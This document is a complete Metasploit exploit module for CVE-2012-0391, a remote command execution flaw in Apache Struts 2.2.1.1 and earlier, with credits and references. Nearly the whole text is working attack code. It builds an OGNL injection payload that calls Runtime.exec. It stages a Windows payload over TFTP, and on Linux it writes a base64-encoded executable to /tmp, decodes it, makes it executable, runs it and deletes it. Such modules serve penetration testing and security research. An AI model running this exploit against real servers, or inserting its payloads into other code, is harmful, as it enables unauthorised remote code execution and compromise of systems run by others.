Apache Struts 2.2.1.1 Remote Command Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::CmdStagerTFTP  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Apache Struts <= 2.2.1.1 Remote Command Execution',  
'Description' => %q{  
This module exploits a remote command execution vulnerability in  
Apache Struts versions < 2.2.1.1. This issue is caused because the  
ExceptionDelegator interprets parameter values as OGNL expressions  
during certain exception handling for mismatched data types of properties,  
which allows remote attackers to execute arbitrary Java code via a  
crafted parameter.  
},  
'Author' =>  
[  
'Johannes Dahse', # Vulnerability discovery and PoC  
'Andreas Nusser', # Vulnerability discovery and PoC  
'juan vazquez', # Metasploit module  
'sinn3r' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: $',  
'References' =>  
[  
[ 'CVE', '2012-0391'],  
[ 'OSVDB', '78277'],  
[ 'EDB', '18329'],  
[ 'URL', 'https://www.sec-consult.com/files/20120104-0_Apache_Struts2_Multiple_Critical_Vulnerabilities.txt']  
],  
'Platform' => [ 'win', 'linux'],  
'Privileged' => true,  
'Targets' =>  
[  
['Windows Universal',  
{  
'Arch' => ARCH_X86,  
'Platform' => 'win'  
}  
],  
['Linux Universal',  
{  
'Arch' => ARCH_X86,  
'Platform' => 'linux'  
}  
],  
],  
'DisclosureDate' => 'Jan 06 2012',  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(8080),  
OptString.new('TARGETURI', [ true, 'The path to a struts application action and the parameter to inject ie. /HelloWorldStruts2/hello?name=test&id=INJECT', ""]),  
OptString.new('CMD', [ false, 'Execute this command instead of using command stager', "" ])  
], self.class)  
end  
  
def execute_command(cmd, opts = {})  
  
uri = String.new(datastore['TARGETURI'])  
uri.gsub!(/INJECT/, "'%2b(%23_memberAccess[\"allowStaticMethodAccess\"]=true,@java.lang.Runtime@getRuntime().exec(\"CMD\"))%2b'") if target['Platform'] == 'win'  
uri.gsub!(/INJECT/, "'%2b(%23_memberAccess[\"allowStaticMethodAccess\"]=true,@java.lang.Runtime@getRuntime().exec(\"CMD\".split(\"@\")))%2b'") if target['Platform'] == 'linux'  
uri.gsub!(/CMD/, Rex::Text::uri_encode(cmd))  
  
vprint_status("Attempting to execute: #{cmd}")  
  
resp = send_request_raw({  
'uri' => uri,  
'version' => '1.1',  
'method' => 'GET',  
}, 5)  
  
end  
  
def windows_stager  
exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"  
  
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")  
execute_cmdstager({ :temp => '.'})  
@payload_exe = payload_exe  
  
print_status("Attempting to execute the payload...")  
execute_command(@payload_exe)  
end  
  
def linux_stager  
cmds = "/bin/sh@-c@echo LINE | tee FILE"  
exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)  
base64 = Rex::Text.encode_base64(exe)  
base64.gsub!(/\=/, "\\u003d")  
file = rand_text_alphanumeric(4+rand(4))  
  
execute_command("/bin/sh@-c@touch /tmp/#{file}.b64")  
cmds.gsub!(/FILE/, "/tmp/" + file + ".b64")  
base64.each_line do |line|  
line.chomp!  
cmd = cmds  
cmd.gsub!(/LINE/, line)  
execute_command(cmds)  
end  
  
execute_command("/bin/sh@-c@base64 -d /tmp/#{file}.b64|tee /tmp/#{file}")  
execute_command("/bin/sh@-c@chmod +x /tmp/#{file}")  
execute_command("/bin/sh@-c@rm /tmp/#{file}.b64")  
  
execute_command("/bin/sh@-c@/tmp/#{file}")  
@payload_exe = "/tmp/" + file  
end  
  
def on_new_session(client)  
if target['Platform'] == 'linux'  
print_status("Deleting #{@payload_exe} payload file")  
execute_command("/bin/sh@-c@rm #{@payload_exe}")  
else  
print_status("Windows does not allow running executables to be deleted")  
print_status("Delete the #{@payload_exe} file manually after migrating")  
end  
end  
  
def exploit  
if not datastore['CMD'].empty?  
print_status("Executing user supplied command")  
execute_command(datastore['CMD'])  
return  
end  
  
case target['Platform']  
when 'linux'  
linux_stager  
when 'win'  
windows_stager  
else  
raise RuntimeError, 'Unsupported target platform!'  
end  
  
handler  
end  
end  
`